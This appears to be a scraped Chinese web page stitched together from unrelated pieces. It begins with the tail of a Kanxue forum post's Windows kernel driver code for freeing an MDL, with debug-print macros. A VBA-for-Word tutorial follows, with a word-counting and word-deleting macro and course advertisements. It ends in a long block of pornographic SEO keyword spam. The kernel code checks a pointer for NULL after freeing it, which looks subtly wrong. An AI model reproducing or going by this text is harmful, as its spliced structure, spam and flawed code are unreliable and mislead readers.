          DBG_TRACE("UnMapMdl", ".........原始 MDL 未被修改,解鎖它映射的頁面后釋放它...........");

          // 如果前面使用 MmBuildMdlForNonPagedPool() ,就不能執行下面前2個操作 //MmUnmapLockedPages(baseaddr, mdl); MmUnlockPages(mdl_pointer);

          IoFreeMdl(mdl_pointer);

          if (mdl_pointer == NULL) {

          DBG_TRACE("UnMapMdl", ".............解鎖頁面,釋放原始 MDL 完成!................");

          }

          return;

          }

          頭文件 dbgmsg.h 內容如下,它僅僅是在預處理階段替換為 DbgPrint() 的一些可變參數罷了,沒啥黑科技可言:

          #ifdef LOG_OFF

          #define DBG_TRACE(src,msg)

          #define DBG_PRINT1(arg1)

          #define DBG_PRINT2(fmt,arg1)

          #define DBG_PRINT3(fmt,arg1,arg2)

          #define DBG_PRINT4(fmt,arg1,arg2,arg3)

          #else

          #define DBG_TRACE(src,msg) DbgPrint("[%s]:%s\n",src,msg)

          #define DBG_PRINT1(arg1) DbgPrint("%s",arg1)

          #define DBG_PRINT2(fmt,arg1) DbgPrint(fmt,arg1)

          #define DBG_PRINT3(fmt,arg1,arg2) DbgPrint(fmt,arg1,arg2)

          #define DBG_PRINT4(fmt,arg1,arg2,arg3) DbgPrint(fmt,arg1,arg2,arg3)

          另一個包含文件 datatype.h 的所有內容, 請參考第一部分:就是那張 DWORD、WORD、BYTE 類型定義的截圖。

          原文鏈接:請訪問看雪論壇

          本文由看雪論壇 shayi 原創

          轉載請注明來自看雪社區

          分享成果,隨喜正能量】不要懷著一顆欺瞞的心、僥幸的心、貪婪的心、怯懦的心、絕望的心觍著臉向佛討要一個不可能的未來。佛很慈悲,但絕不會獎懶罰勤、揚惡懲善、媚富欺貧、好愚惡賢。佛佑勤勞的人,佛佑善良的人,佛佑智慧的人,佛佑積極向上的人。

          《VBA之Word應用》,是我推出第八套教程,教程是專門講解VBA在Word中的應用,圍繞“面向對象編程”講解,首先讓大家認識Word中VBA的對象,以及對象的屬性、方法,然后通過實例讓大家感受到Word VBA 的妙處。本套教程共三冊十六章,今日內容是第三章“文檔集合Documents對象及文檔Document對象”第6節:文檔Document對象屬性的簡單應用

          第六節 文檔Document對象的屬性(三)

          大家好,我們繼續講解文檔Document對象的屬性,并就屬性的一些常見應用給大家以操作上的講解。對于Document對象的屬性,我講解的比較詳細,希望大家能掌握的透徹些,這套教程的講解是按照OOP面向對象編程的思路來講解的,對象,屬性,方法,事件是我們要重點理解的。

          1 Document.Tables 屬性

          這個屬性返回一個Table集合, 該集合代表指定文檔中的所有表格。此為只讀屬性。

          語法:expression.Tables

          其中:expression 代表一個 Document對象

          2 Document.Words 屬性

          這個屬性返回一個Words集合,該集合代表文檔中的所有單詞。此為只讀屬性。

          語法:expression.Words

          其中:expression 代表一個 Document對象

          • Words 集合中包含的文檔中的標點符號和段落標記。

          3 利用Document.Words屬性刪除某單詞

          下面我們講解一個實例,這個實例利用Document.Words屬性來統計所選擇區域的單詞及刪除某單詞的方法。下面我們先看看當前文檔的截圖:

          我們將首先選擇上面的紅色框選部分,然后再統計一下這部分區域的單詞數量,最后我們將上述黃色單詞you刪除。為什么要是英文區域呢?因為單詞(word)是英語的范疇。所以我們用英文進行測試。

          我們先來看看代碼:

          Sub mynzF()

          MsgBox "您共選擇了" & Selection.Words.Count & "個單詞!"

          Set myRange = ActiveDocument.Range(Start:=Selection.Start, End:=Selection.End)

          i = 0

          For Each myWord In myRange.Words

          If myWord.Text = "you " Then

          myWord.Delete

          i = i + 1

          End If

          Next

          MsgBox "共刪除了" & i & "次!"

          End Sub

          代碼截圖:

          代碼講解:

          1)MsgBox "您共選擇了" & Selection.Words.Count & "個單詞!" 這行代碼統計所選擇區域的單詞個數。

          2) Set myRange = ActiveDocument.Range(Start:=Selection.Start, End:=Selection.End) 這行代碼將所選擇區域賦值給變量myRange。

          3) For Each myWord In myRange.Words 在所選擇區域中的單詞集合間建立遍歷循環。

          4) If myWord.Text = "you " Then 假如單詞集合遍歷的元素單詞是"you ",大家要注意這里的寫法"you "后面要有一個空格。

          5) myWord.Delete 這行代碼是將這個單詞刪除。

          6) MsgBox "共刪除了" & i & "次!" 這行代碼提示給用戶共刪除了幾次。

          下面我們看看代碼的運行效果,在運行代碼前要首先將上述的英文語句進行選擇,

          選擇的截圖:

          然后運行代碼:

          由上述代碼的運行結果可知,我們分別完成了單詞的統計及單詞的刪除操作。

          今日內容回向:

          1 文檔對象的Tables,Words屬性的意義是什么?

          2 如何獲得文檔選擇區域的單詞數量及刪除某單詞?


          本講內容參考程序文件:Doc 003文檔.docm

          • 我根據自己多年VBA實際利用經驗,推出了八部VBA專門教程。第1套教程:VBA代碼解決方案 ;第2套教程:VBA數據庫解決方案;第3套教程:VBA數組與字典解決方案;第4套教程:VBA代碼解決方案之視頻(第一套的視頻講解);第5套教程:VBA中類的解讀和利用;第6套教程:VBA信息獲取與處理;第7套教程:VBA之EXCEL應用;第8套教程:VBA之Word應用(最新)。上述教程的學習順序:

          ① 7→1→3→2→6→5或者7→4→3→2→6→5 ② 7→8

          • 第一套:VBA代碼解決方案 是VBA中各個知識點的講解,教程共147講,覆蓋絕大多數的VBA知識點,提供的程序文件更是一座不可多得的代碼寶庫,是初學及中級人員必備教程;目前這套教程提供的版本是修訂第二版,程序文件通過32位和64位兩種OFFICE系統測試。
          • 第二套:VBA數據庫解決方案 數據庫是數據處理的專業利器,教程中詳細介紹了利用ADO連接ACCDB和EXCEL的方法和實例操作,適合中級人員的學習。目前這套教程提供的是修訂第一版教程,程序文件通過32位和64位兩種OFFICE系統測試。
          • 第三套:VBA數組與字典解決方案 數組和字典是VBA的精華,字典是VBA代碼水平提高的有效手段,值得深入的學習,是初級及中級人員代碼精進的手段。目前這套教程提供的版本是修訂第一版,程序文件通過32位和64位兩種OFFICE系統測試。
          • 第四套:VBA代碼解決方案之視頻 是專門面向初學者的視頻講解,可以快速入門,更快的掌握這門技能。這套教程是第一套教程(修訂一版)的視頻講解,視頻更易接受。
          • 第五套:VBA中類的解讀和利用是一部高級教程,講解類的虛無與肉身的度化,類的利用雖然較少,但仔細的學習可以促進自己VBA理論的提高。這套教程的領會主要是讀者的領悟了,領悟一種佛學的哲理。目前這套教程提供的版本是修訂第一版,程序文件通過32位和64位兩種OFFICE系統測試。
          • 第六套教程:VBA信息獲取與處理,是一部高級教程,涉及范圍更廣,實用性更強,面向中高級人員。教程共二十個專題,包括:跨應用程序信息獲得、隨機信息的利用、電子郵件的發送、VBA互聯網數據抓取、VBA延時操作,剪切板應用、Split函數擴展、工作表信息與其他應用交互,FSO對象的利用、工作表及文件夾信息的獲取、圖形信息的獲取以及定制工作表信息函數等等內容。程序文件通過32位和64位兩種OFFICE系統測試。
          • 第七套教程:VBA之EXCEL應用 這是一部初級教程這部教程共三冊,從從創建宏、對話框、工作簿和工作表對象、單元格對象等基礎內容講起,到循環結構、錯誤處理、字符串操作、日期和時間、事件、數組應用,函數過程等方面,一直講解到控件和窗體對象的應用都是我們提高自己EXCEL水平的必須。
          • 第八套教程:VBA之WORD應用 是圍繞“面向對象編程”展開的講解,讓大家充分認識Word中VBA的對象,以及對象的屬性、方法及利用。教程共分三冊,十六章,其中前十五章是各種對象屬性、方法的講解,每節都有專門的實例說明這些屬性方法的具體應用,最后一章是結和具體應用場景的講解,詳細講解了二十八個實際工作中有代表性的實例,緊扣word數據的批量處理,發揮VBA的長處。本套教程實例眾多,大家可以拿來即用,或者修正后加以利用。由于這套教程是圍繞“面向對象編程”來展開,建議大家先學《VBA之Excel應用》,對VBA中的對象、屬性、方法、事件有一定認識后再來學習這套教程。

          主站蜘蛛池模板: 无码人妻AV免费一区二区三区| 国产精品亚洲一区二区三区久久| 中文人妻无码一区二区三区| 久久一区二区三区精品| 怡红院美国分院一区二区 | 国产成人av一区二区三区在线观看 | 无码精品人妻一区| 国产亚洲自拍一区| 国产一区二区三区露脸| 日韩精品一区二区三区中文精品| 成人h动漫精品一区二区无码| 一区在线免费观看| 国产一区二区三区免费看| 无码人妻一区二区三区兔费| 亚洲线精品一区二区三区影音先锋| 国产在线一区二区杨幂| 亚洲日韩AV无码一区二区三区人 | 一区二区国产在线播放| 蜜桃传媒一区二区亚洲AV| 亚洲AV日韩AV天堂一区二区三区| 一区二区三区免费高清视频| 国产精品亚洲一区二区在线观看| 国产高清不卡一区二区| 色狠狠色噜噜Av天堂一区| 日本一区二区在线不卡| 美女AV一区二区三区| 国产色欲AV一区二区三区| 一区二区三区精密机械| 成人区人妻精品一区二区不卡| 日韩一区二区久久久久久| 国产一区二区精品| 亚洲一区二区三区免费在线观看| 久久国产精品视频一区| 亚洲国产日韩在线一区| 无码中文字幕一区二区三区| 国产一区二区三区免费看| 一区二区国产精品| 亚洲av综合av一区| 亚洲.国产.欧美一区二区三区| 免费一区二区视频| 久久91精品国产一区二区|